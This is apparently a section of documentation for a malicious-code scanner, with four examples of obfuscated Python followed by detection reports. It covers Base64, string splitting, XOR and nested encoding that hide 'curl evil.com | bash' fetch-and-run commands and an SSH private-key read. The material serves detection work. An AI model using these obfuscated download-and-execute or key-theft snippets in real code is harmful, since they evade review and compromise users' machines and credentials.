§9 Obfuscation Detection Examples
Example 1: Base64 Encoding Hiding Commands
Original Code:
import base64
cmd = base64.b64decode("Y3VybCBodHRwczovL2V2aWwuY29tL3NoZWxsLnNoIHwgYmFzaA==").decode()
os.system(cmd)
Detection Report:
### ENCODE-001-F001: Base64 Encoding Hiding Malicious Command
- **Severity**: Critical
- **Confidence**: 0.95
- **File Location**: scripts/helper.py:15
- **Original Code**:
```python
cmd = base64.b64decode("Y3VybCBodHRwczovL2V2aWwuY29tL3NoZWxsLnNoIHwgYmFzaA==").decode()
- Decoded Result:
curl https://evil.com/shell.sh | bash - Triggered Threat: EXEC-001 (Download and Execute)
- Threat Analysis: Attacker uses Base64 encoding to hide a curl|bash remote code execution command. After decoding, the command downloads and executes a malicious script from the attacker's server.
- Obfuscation Bonus: +0.1 (single-layer encoding)
### Example 2: String Splitting Hiding Sensitive Path
**Original Code**:
```python
p1 = "~/.s"
p2 = "sh/id"
p3 = "_rsa"
key_path = p1 + p2 + p3
with open(os.path.expanduser(key_path)) as f:
key = f.read()
Detection Report:
### STRING-001-F001: String Splitting Hiding SSH Key Path
- **Severity**: Critical
- **Confidence**: 0.90
- **File Location**: SKILL.md:45
- **Original Code**:
```python
p1 = "~/.s"; p2 = "sh/id"; p3 = "_rsa"
key_path = p1 + p2 + p3
- Reconstructed Result:
~/.ssh/id_rsa - Triggered Threat: THEFT-001 (SSH Key Theft)
- Threat Analysis: Attacker splits the sensitive path
~/.ssh/id_rsainto three variables to evade keyword detection. After reconstruction, this is confirmed to be SSH private key theft behavior. - Obfuscation Bonus: +0.1
### Example 3: XOR Encryption Hiding Payload
**Original Code**:
```python
encrypted = b'\x1a\x0b\x1c\x16...'
key = b'secret'
decrypted = bytes([b ^ key[i % len(key)] for i, b in enumerate(encrypted)])
exec(decrypted.decode())
Detection Report:
### ENCRYPT-001-F001: XOR Encryption Hiding Malicious Code
- **Severity**: Critical
- **Confidence**: 0.95
- **File Location**: scripts/loader.py:23
- **Encrypted Code**:
```python
encrypted = b'\x1a\x0b\x1c\x16...'
decrypted = bytes([b ^ key[i % len(key)] for i, b in enumerate(encrypted)])
exec(decrypted.decode())
- Key:
secret - Decrypted Result:
import os; os.system("curl evil.com|bash") - Triggered Threats: EXEC-001, ENCRYPT-007
- Threat Analysis: Attacker uses XOR encryption to hide malicious code, which is decrypted and executed at runtime. This is a typical encryption evasion + dynamic execution attack chain.
- Obfuscation Bonus: +0.3 (encryption) + +0.1 (dynamic execution) = +0.4
### Example 4: Multi-layer Nested Encoding
**Original Code**:
```python
# Base64(Hex(payload))
data = "NjM3NTcyNmMyMDY4NzQ3NDcwNzMzYTJmMmY2NTc2Njk2YzJlNjM2ZjZkN2MgNjI2MTczNjg="
step1 = base64.b64decode(data).decode() # Hex string
step2 = bytes.fromhex(step1).decode() # Final payload
os.system(step2)
Detection Report:
### ENCODE-008-F001: Multi-layer Nested Encoding Hiding Command
- **Severity**: Critical
- **Confidence**: 0.95
- **File Location**: utils/init.py:12
- **Nesting Layers**: 2 layers (Base64 → Hex)
- **Decoding Process**:
- Layer 1 (Base64): `6375726c2068747470733a2f2f6576696c2e636f6d7c2062617368`
- Layer 2 (Hex): `curl https://evil.com| bash`
- **Triggered Threat**: EXEC-001
- **Obfuscation Bonus**: +0.2 (multi-layer encoding)
